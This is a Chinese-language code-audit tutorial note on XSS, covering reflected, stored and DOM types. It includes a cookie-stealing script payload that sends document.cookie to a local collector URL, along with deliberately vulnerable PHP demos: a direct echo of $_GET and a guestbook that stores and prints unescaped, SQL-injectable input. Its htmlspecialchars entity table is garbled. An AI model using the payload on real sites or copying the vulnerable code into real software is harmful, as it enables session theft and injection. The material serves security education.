XSS漏洞大致分为三种
- 反射型XSS漏洞
- 存储型XSS漏洞
- 基于DOM的XSS漏洞
反射型XSS漏洞
它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起该漏洞的触发
变量直接输出
<?php
echo $_GET['xss'];
?>
$_SERVER变量参数
$_SERVER['PHP_SELF']
$_SERVER['HTTP_USER_AGENT']
$_SERVER['HTTP_REQUER']
$_SERVER['REQUEST_URI']
http请求格式
User-Agent: 可以通过User-Agent进行构造XSS
Referer: 可以通过Reference进行构造,主要是burp suite抓包操作,进行修改即可
利用
Ttest:<script>alert('xss');</script>
Cookie:
<script>var i=new Image; i.src='http://127.0.0.1/xss.php?c="%2bdocument.cookie;"'</script>
modify headers
存储型XSS
持久化,代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,若干没有过滤或过滤不严,那么这些代码将存储到服务器数据库中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,窃取Cookie等。
审计SQL语句:
主要是update 、insert更新和插入语句。
内容输入输出没有被严格过滤或者过滤不严!
防御
htmlspecialchars函数
预定义的字符是:
& ——————&
"———————"
'———————'
<———————<
>———————>
例如:
表:
CREATE TABLE `book` (
`id` int(5) NOT NULL auto_increment,
`title` varchar(32) NOT NULL,
`con` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gbk AUTO_INCREMENT=1 ;
<?php
mysql_connect('localhost','root','');
mysql_select_db('test');
mysql_query("set names gbk");
if(isset($_POST['submit'])){
$title=$_POST['title'];
$con=$_POST['con'];
$sql="INSERT INTO `book` (`id` ,`title` ,`con`)VALUES (NULL , '$title', '$con');";
if(mysql_query($sql)){
echo "留言成功";
}else{
echo "留言失败";
}
}else{
$sql="select * from book";
if($row=mysql_query($sql)){
while($rows=mysql_fetch_array($row)){
echo $rows['id'].$rows['title'].$rows['con']."<br>";
}
}
}
?>
<html>
<h1>暗月代码审计存储型 xss 漏洞演示</h1>
<form action="?action=insert" method="post">
标题:<input type="text" name="title"><br>
内容:<textarea name="con"></textarea>
<input type="submit" name="submit" value="提交">
<form>
</html>